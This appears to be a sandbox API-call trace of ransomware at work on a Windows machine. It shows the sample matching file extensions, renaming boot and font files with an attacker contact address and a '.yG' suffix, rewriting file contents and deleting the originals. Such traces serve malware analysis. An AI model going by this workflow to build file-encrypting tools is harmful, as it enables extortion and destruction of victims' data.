	[0046.202] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".bz2") returned 4
	[0046.202] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".7z") returned 3
	[0046.202] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".dbf") returned 4
	[0046.202] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".1cd") returned 4
	[0046.202] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".jpg") returned 4
	[0046.202] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".doc") returned 4
	[0046.202] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".docx") returned 5
	[0046.202] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0046.202] lstrlenW (lpString=".pdf") returned 4
	[0046.202] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".xls") returned 4
	[0046.202] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".xlsx") returned 5
	[0046.202] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0046.202] lstrlenW (lpString=".ppt") returned 4
	[0046.202] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".zip") returned 4
	[0046.202] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".rar") returned 4
	[0046.203] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0046.203] lstrlenW (lpString=".bz2") returned 4
	[0046.203] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0046.203] lstrlenW (lpString=".7z") returned 3
	[0046.203] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0046.203] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.203] lstrlenW (lpString=".dbf") returned 4
	[0046.203] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0046.203] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.203] lstrlenW (lpString=".1cd") returned 4
	[0046.203] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0046.203] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.203] lstrlenW (lpString=".jpg") returned 4
	[0046.203] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0046.203] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0046.203] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0046.203] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.203] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=77664) returned 1
	[0046.203] CloseHandle (hObject=0x2ec) returned 1
	[0046.203] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0046.203] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.204] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString=".doc") returned 4
	[0046.204] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0046.204] lstrlenW (lpString=".docx") returned 5
	[0046.204] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0046.204] lstrlenW (lpString=".pdf") returned 4
	[0046.204] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0046.204] lstrlenW (lpString=".xls") returned 4
	[0046.204] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0046.204] lstrlenW (lpString=".xlsx") returned 5
	[0046.204] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0046.204] lstrlenW (lpString=".ppt") returned 4
	[0046.204] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString=".zip") returned 4
	[0046.204] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0046.204] lstrlenW (lpString=".rar") returned 4
	[0046.204] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0046.204] lstrlenW (lpString=".bz2") returned 4
	[0046.204] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0046.204] lstrlenW (lpString=".7z") returned 3
	[0046.204] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString=".dbf") returned 4
	[0046.204] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString=".1cd") returned 4
	[0046.204] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0046.204] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.204] lstrlenW (lpString=".jpg") returned 4
	[0046.204] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString=".doc") returned 4
	[0046.205] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0046.205] lstrlenW (lpString=".docx") returned 5
	[0046.205] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0046.205] lstrlenW (lpString=".pdf") returned 4
	[0046.205] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0046.205] lstrlenW (lpString=".xls") returned 4
	[0046.205] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0046.205] lstrlenW (lpString=".xlsx") returned 5
	[0046.205] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0046.205] lstrlenW (lpString=".ppt") returned 4
	[0046.205] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString=".zip") returned 4
	[0046.205] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0046.205] lstrlenW (lpString=".rar") returned 4
	[0046.205] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0046.205] lstrlenW (lpString=".bz2") returned 4
	[0046.205] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0046.205] lstrlenW (lpString=".7z") returned 3
	[0046.205] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString=".dbf") returned 4
	[0046.205] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString=".1cd") returned 4
	[0046.205] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0046.205] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0046.205] lstrlenW (lpString=".jpg") returned 4
	[0046.205] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0046.205] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0046.206] lstrlenW (lpString="bootspaces.dll") returned 14
	[0046.206] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0046.468] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=95648) returned 1
	[0046.468] CloseHandle (hObject=0x300) returned 1
	[0046.468] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0046.468] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.468] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.468] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.468] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.468] lstrlenW (lpString=".doc") returned 4
	[0046.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString=".docx") returned 5
	[0046.468] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0046.468] lstrlenW (lpString=".pdf") returned 4
	[0046.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString=".xls") returned 4
	[0046.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString=".xlsx") returned 5
	[0046.468] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0046.468] lstrlenW (lpString=".ppt") returned 4
	[0046.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.468] lstrlenW (lpString=".zip") returned 4
	[0046.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString=".rar") returned 4
	[0046.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0046.468] lstrlenW (lpString=".bz2") returned 4
	[0046.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0046.468] lstrlenW (lpString=".7z") returned 3
	[0046.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString=".dbf") returned 4
	[0046.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString=".1cd") returned 4
	[0046.469] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString=".jpg") returned 4
	[0046.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString=".doc") returned 4
	[0046.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString=".docx") returned 5
	[0046.469] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0046.469] lstrlenW (lpString=".pdf") returned 4
	[0046.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString=".xls") returned 4
	[0046.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString=".xlsx") returned 5
	[0046.469] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0046.469] lstrlenW (lpString=".ppt") returned 4
	[0046.469] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.469] lstrlenW (lpString=".zip") returned 4
	[0046.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString=".rar") returned 4
	[0046.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0046.469] lstrlenW (lpString=".bz2") returned 4
	[0046.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0046.469] lstrlenW (lpString=".7z") returned 3
	[0046.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0046.469] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.470] lstrlenW (lpString=".dbf") returned 4
	[0046.470] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0046.470] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.470] lstrlenW (lpString=".1cd") returned 4
	[0046.470] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0046.470] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0046.470] lstrlenW (lpString=".jpg") returned 4
	[0046.470] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0046.470] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0046.470] lstrlenW (lpString="bootvhd.dll") returned 11
	[0046.470] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0046.470] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=99744) returned 1
	[0046.470] CloseHandle (hObject=0x300) returned 1
	[0046.470] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0046.470] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.470] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.470] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0046.470] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0046.470] lstrlenW (lpString=".doc") returned 4
	[0046.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString=".docx") returned 5
	[0046.471] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0046.471] lstrlenW (lpString=".pdf") returned 4
	[0046.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString=".xls") returned 4
	[0046.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString=".xlsx") returned 5
	[0046.471] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0046.471] lstrlenW (lpString=".ppt") returned 4
	[0046.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0046.471] lstrlenW (lpString=".zip") returned 4
	[0046.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString=".rar") returned 4
	[0046.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0046.471] lstrlenW (lpString=".bz2") returned 4
	[0046.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0046.471] lstrlenW (lpString=".7z") returned 3
	[0046.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0046.471] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0046.471] lstrlenW (lpString=".dbf") returned 4
	[0046.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0046.474] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0046.538] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0046.646] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0046.679] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0046.912] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0046.912] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.967] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.967] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.967] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\bootnxt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0046.971] GetLastError () returned 0x0
	[0046.971] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x1, lpOverlapped=0x0) returned 1
	[0046.972] WriteFile (in: hFile=0x35c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x10, lpOverlapped=0x0) returned 1
	[0046.973] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0046.973] WriteFile (in: hFile=0x35c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xe2, lpOverlapped=0x0) returned 1
	[0046.973] SetEndOfFile (hFile=0x35c) returned 1
	[0046.974] CloseHandle (hObject=0x35c) returned 1
	[0046.975] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.975] SetEndOfFile (hFile=0x2f8) returned 1
	[0046.981] CloseHandle (hObject=0x2f8) returned 1
	[0046.981] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0046.981] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1
	[0046.981] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.981] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.981] lstrlenW (lpString=".doc") returned 4
	[0046.981] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0046.981] lstrlenW (lpString=".docx") returned 5
	[0046.981] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0046.981] lstrlenW (lpString=".pdf") returned 4
	[0046.981] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".xls") returned 4
	[0046.982] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".xlsx") returned 5
	[0046.982] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0046.982] lstrlenW (lpString=".ppt") returned 4
	[0046.982] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString=".zip") returned 4
	[0046.982] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".rar") returned 4
	[0046.982] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".bz2") returned 4
	[0046.982] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".7z") returned 3
	[0046.982] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString=".dbf") returned 4
	[0046.982] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString=".1cd") returned 4
	[0046.982] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString=".jpg") returned 4
	[0046.982] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.982] lstrlenW (lpString=".doc") returned 4
	[0046.982] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".docx") returned 5
	[0046.982] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0046.982] lstrlenW (lpString=".pdf") returned 4
	[0046.982] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".xls") returned 4
	[0046.982] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0046.982] lstrlenW (lpString=".xlsx") returned 5
	[0046.982] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0046.982] lstrlenW (lpString=".ppt") returned 4
	[0046.982] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.983] lstrlenW (lpString=".zip") returned 4
	[0046.983] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString=".rar") returned 4
	[0046.983] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString=".bz2") returned 4
	[0046.983] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString=".7z") returned 3
	[0046.983] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0046.983] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.983] lstrlenW (lpString=".dbf") returned 4
	[0046.983] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.983] lstrlenW (lpString=".1cd") returned 4
	[0046.983] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0046.983] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0046.983] lstrlenW (lpString=".jpg") returned 4
	[0046.983] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0046.983] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0046.983] lstrlenW (lpString="HardwareEvents.evtx") returned 19
	[0046.983] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0046.986] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0046.986] CloseHandle (hObject=0x2f8) returned 1
	[0046.987] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0046.987] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.987] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0046.987] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.987] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.987] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0046.988] GetLastError () returned 0x0
